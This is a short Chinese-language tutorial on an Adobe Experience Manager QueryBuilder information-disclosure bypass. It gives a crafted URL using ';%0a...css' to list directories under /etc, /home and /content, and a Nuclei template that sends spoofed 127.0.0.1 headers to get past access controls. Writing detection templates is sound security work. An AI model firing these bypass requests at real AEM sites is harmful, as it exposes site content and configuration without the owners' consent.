AEM漏洞与Nuclei Template编写

一、首先:什么是AEM?

AEM 是 "Adobe Experience Manager" 的英文缩写。是由一个 Java 构建的全面的内容管理解决方案。它可以辅助网站的动态数字体验,也辅助了内容的碎片化整理。

一句话概括上面的官方废话:就是一个CMS

二、开门见山:

Adobe CQ5默认的查询服务器 JSON :

代码语言:javascript
复制
`http://localhost/bin/querybuilder.json

我们可以通过Fuzz来遍历系统读取的利用点

发现了状态200的利用方式

再构造文件读取参数?path=

链接缝合:

代码语言:javascript
复制
/bin/querybuilder.json.;%0ajaky.css?path=/etc

效果展示:

可见状态显示:success

并出现了etc下的目录

三、构造Template

代码语言:javascript
复制
id: Jaky_AEM

info:
name: Jaky_AEM
author: Jaky
severity: high
reference:
- https://www.luomiweixiong.com/
tags: Jaky_AEM

requests:

  • method: GET
    path:

    • "{{BaseURL}}/bin/querybuilder.json.;%0ajaky.css?path=/etc"
    • "{{BaseURL}}/bin/querybuilder.json.;%0Ajaky.css?path=/home"
    • "{{BaseURL}}/bin/querybuilder.json.;%0Ajaky.css?path=/content"

    headers:
    X-Client-IP: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Originating-IP: 127.0.0.1

    matchers-condition: and
    matchers:

    • type: status
      status:

      • 200
    • type: regex
      part: body
      regex:

      • "success.*results"

info:告诉nuclei该Template的信息.

requests:请求方式 (一看就懂).

headers:加入127.0.0.1的一些方式,可以绕过某种机制.

matchers:回显的匹配,正则、状态码等.